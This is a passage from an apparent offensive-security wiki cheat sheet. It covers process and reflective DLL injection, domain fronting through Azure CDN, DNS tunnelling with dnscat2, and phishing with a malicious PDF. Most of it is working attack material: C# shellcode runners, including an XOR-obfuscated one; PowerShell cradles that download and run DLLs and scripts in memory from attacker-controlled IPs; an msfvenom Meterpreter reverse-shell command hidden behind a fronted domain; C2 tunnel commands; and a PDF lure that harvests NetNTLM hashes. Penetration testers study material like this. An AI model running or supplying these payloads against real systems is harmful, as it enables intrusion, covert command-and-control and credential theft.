            // Create a WebClient instance for downloading files from the Internet.&lt;br /&gt;
            WebClient wc = new WebClient();&lt;br /&gt;
            // Download the DLL file from the specified URL to the local system.&lt;br /&gt;
            wc.DownloadFile(&amp;quot;http://192.168.119.120/met.dll&amp;quot;, dllName);&lt;br /&gt;
            // Get an array of Process instances for processes with the name &amp;quot;explorer&amp;quot;.&lt;br /&gt;
            Process[] expProc = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            // Get the process ID of the first explorer process.&lt;br /&gt;
            int pid = expProc[0].Id;&lt;br /&gt;
            // Open the specified process with certain access rights.&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);&lt;br /&gt;
            // Allocate memory within the specified process.&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Declare a variable to store the number of bytes written during memory write operation.&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            // Write the bytes of the DLL name to the allocated memory in the target process.&lt;br /&gt;
            Boolean res = WriteProcessMemory(hProcess, addr, Encoding.Default.GetBytes(dllName), dllName.Length, out outSize);&lt;br /&gt;
            // Get the address of the LoadLibraryA function from the kernel32.dll library.&lt;br /&gt;
            IntPtr loadLib = GetProcAddress(GetModuleHandle(&amp;quot;kernel32.dll&amp;quot;), &amp;quot;LoadLibraryA&amp;quot;);&lt;br /&gt;
            // Create a remote thread within the target process to execute the LoadLibraryA function.&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, loadLib, addr, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Reflective DLL Injection ===&lt;br /&gt;
&lt;br /&gt;
This is a ClassLibrary. PowerShell that will download and execute malicious code in memory &#039;&#039;&#039;without touching the disk&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
Requires a malicious DLL hosted on a download location you control.&lt;br /&gt;
&lt;br /&gt;
You can for example create the DLL, then create a Word Macro as a dropper that will execute the PS1 script, that again downloads and executes the DLL.&lt;br /&gt;
&lt;br /&gt;
The below code is a Class Library (.NET Framework)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
